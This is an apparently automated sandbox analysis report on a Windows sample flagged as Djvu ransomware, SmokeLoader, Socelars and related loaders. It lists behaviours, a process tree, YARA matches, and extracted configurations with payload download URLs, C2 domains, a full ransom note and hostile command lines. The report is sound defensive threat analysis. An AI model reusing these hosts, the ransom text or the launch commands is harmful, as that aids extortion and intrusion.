Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	693054
MD5:	576227815616e27ec0043a1bd3af5a26
SHA1:	6a457f5785e9695b733810a70c2dbbddeb0da6e4
SHA256:	0e809c9bdc3a6f8688665dc1474fe99637fdc8d8126a6402dcb668d8bf878d94
Tags:	exe
Infos:

Detection

Djvu, ManusCrypt, PrivateLoader, SmokeLoader, Socelars

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected UAC Bypass using CMSTP

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Yara detected ManusCrypt

Yara detected Socelars

Multi AV Scanner detection for dropped file

Yara detected PrivateLoader

Maps a DLL or memory area into another process

Creates processes via WMI

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Sample uses process hollowing technique

Detected VMProtect packer

Drops PE files with a suspicious file extension

Writes to foreign memory regions

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Registers a DLL

Launches processes in debugging mode, may be used to hinder debugging

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Yara signature match

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Enables driver privileges

Connects to several IPs in different countries

Enables security privileges

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

file.exe (PID: 6960 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 576227815616E27EC0043A1BD3AF5A26)

explorer.exe (PID: 3324 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

6D2B.exe (PID: 6660 cmdline: C:\Users\user\AppData\Local\Temp\6D2B.exe MD5: 063D932BB78AE11F67A5B1B929B0B16D)

regsvr32.exe (PID: 2064 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\9602.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 7040 cmdline: /s C:\Users\user\AppData\Local\Temp\9602.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

ADFF.exe (PID: 7032 cmdline: C:\Users\user\AppData\Local\Temp\ADFF.exe MD5: AE9E2CE4CF9B092A5BBFD1D5A609166E)

conhost.exe (PID: 4764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ADFF.exe (PID: 5068 cmdline: "C:\Users\user\AppData\Local\Temp\ADFF.exe" -h MD5: AE9E2CE4CF9B092A5BBFD1D5A609166E)

conhost.exe (PID: 5240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

D510.exe (PID: 3124 cmdline: C:\Users\user\AppData\Local\Temp\D510.exe MD5: 4DD5B94AF732FDAA38C731E6AB39BFAD)

FC9E.exe (PID: 240 cmdline: C:\Users\user\AppData\Local\Temp\FC9E.exe MD5: 5172CD2EDA6449DD6FE0479D404CF4BE)

5449.exe (PID: 6352 cmdline: C:\Users\user\AppData\Local\Temp\5449.exe MD5: 4F6E39467946C2D389E2E990DA995094)

WerFault.exe (PID: 2888 cmdline: WerFault.exe ////// MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cmd.exe (PID: 6448 cmdline: cmd /c cmd < Orti.dotx & ping -n 5 localhost MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6828 cmdline: cmd MD5: F3BDBE3BB6F734E357235F4D5898582D)

svchost.exe (PID: 7028 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4676 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6696 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

viiivdw (PID: 6756 cmdline: C:\Users\user\AppData\Roaming\viiivdw MD5: 576227815616E27EC0043A1BD3AF5A26)

svchost.exe (PID: 5312 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6968 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

WmiPrvSE.exe (PID: 4640 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: A782A4ED336750D10B3CAF776AFE8E70)

rundll32.exe (PID: 6536 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6120 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 1020 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

FC9E.exe (PID: 5728 cmdline: "C:\Users\user\AppData\Local\Temp\FC9E.exe" MD5: 5172CD2EDA6449DD6FE0479D404CF4BE)

wtiivdw (PID: 4184 cmdline: C:\Users\user\AppData\Roaming\wtiivdw MD5: 4DD5B94AF732FDAA38C731E6AB39BFAD)

svchost.exe (PID: 1884 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://rgyui.top/dl/build2.exe", "http://acacaca.org/files/1/build3.exe"], "C2 url": "http://acacaca.org/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-USug3rryKI\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0549Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwWZ7difN4\\/w6uP6dgqG6\\\\nvftez3eaEgDMUWG64EFNomZk\\/aGagJUZNATseVKViU3SRhi\\/imDMtG6Kd0LzCs0Q\\\\nAqErh4UFa\\/yCKZqYcwV\\/9ubI\\/9lwSfhXyDiJ7Erz3GXu4uCZ2llrOvQQo3EjLKMd\\\\nfDs3N5nABcM0JOzt2lH3ErNF+I+LbRkCEhevBBMlmLVLGn02ynpSOz3ZMFdPUX+T\\\\nCsF54KacWKK5HKQ7LOZmsO61suDKNhMdGlSbRELZzmlBPrlGeOK1Ve0GQQzGi+ns\\\\nzWUqS1a35FJvwUlL7aLbYmlgIOLkrg2nnq5epbuQC0TZMKetJq\\/OVJHsZ7xbthII\\\\nlwIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: Socelars

{"C2 url": "https://hueduy.s3.eu-west-1.amazonaws.com/nbsdg818"}

Threatname: SmokeLoader

{"C2 list": ["http://samnutu11nuli.com/", "http://linislominyt11.at/", "http://nikogkojam.org/", "http://luxulixionus.net/", "http://nunuslushau.com/", "http://monsutiur4.com/", "http://nusurionuy5ff.at/", "http://moroitomo4.net/", "http://susuerulianita1.net/", "http://nikogminut88.at/", "http://cucumbetuturel4.com/", "http://lilisjjoer44.com/", "http://mini55tunul.com/", "http://limo00ruling.org/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000001A.00000002.543248453.00000000008A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001A.00000002.544007167.00000000009E8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4edc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.431811322.0000000000A78000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4f4a:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x814:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x814:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000025.00000002.628413138.0000000000546000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000002B.00000002.692013103.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001F.00000002.570352201.0000000000546000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000002B.00000002.708312204.0000000000AF8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4e1c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.388959741.0000000000A38000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4eba:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.651052165.0000000002EAB000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000002B.00000003.634917152.0000000000AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.388745923.0000000000930000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001A.00000003.527933662.00000000008B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000B.00000002.431428387.00000000008E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x10d66:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0xa4ec:$a: _kasssperskdy 0xb0ae:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x53366:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Fabookie	Detects Fabookie / ElysiumStealer	ditekSHen	0x4c6e6:$s1: rwinssyslog 0x4caec:$s2: _kasssperskdy 0x4ca88:$s3: [Title:%s] 0x4cbfc:$s4: [Execute] 0x4cc10:$s5: [Snapshot] 0x4d484:$s6: Mozilla/4.0 (compatible) 0x4de3c:$s9: CUdpClient::Start
0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x4caec:$a: _kasssperskdy 0x4d6ae:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Socelars	Yara detected Socelars	Joe Security
00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Socelars	Yara detected Socelars	Joe Security
Process Memory Space: 6D2B.exe PID: 6660	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 6D2B.exe PID: 6660	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x31203:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: rundll32.exe PID: 6120	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
Process Memory Space: FC9E.exe PID: 240	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: FC9E.exe PID: 240	JoeSecurity_Socelars	Yara detected Socelars	Joe Security
Process Memory Space: FC9E.exe PID: 5728	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: FC9E.exe PID: 5728	JoeSecurity_Socelars	Yara detected Socelars	Joe Security
Process Memory Space: svchost.exe PID: 1020	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
Click to see the 66 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
43.3.wtiivdw.ad0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
26.2.D510.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
26.2.D510.exe.8a0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
43.2.wtiivdw.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
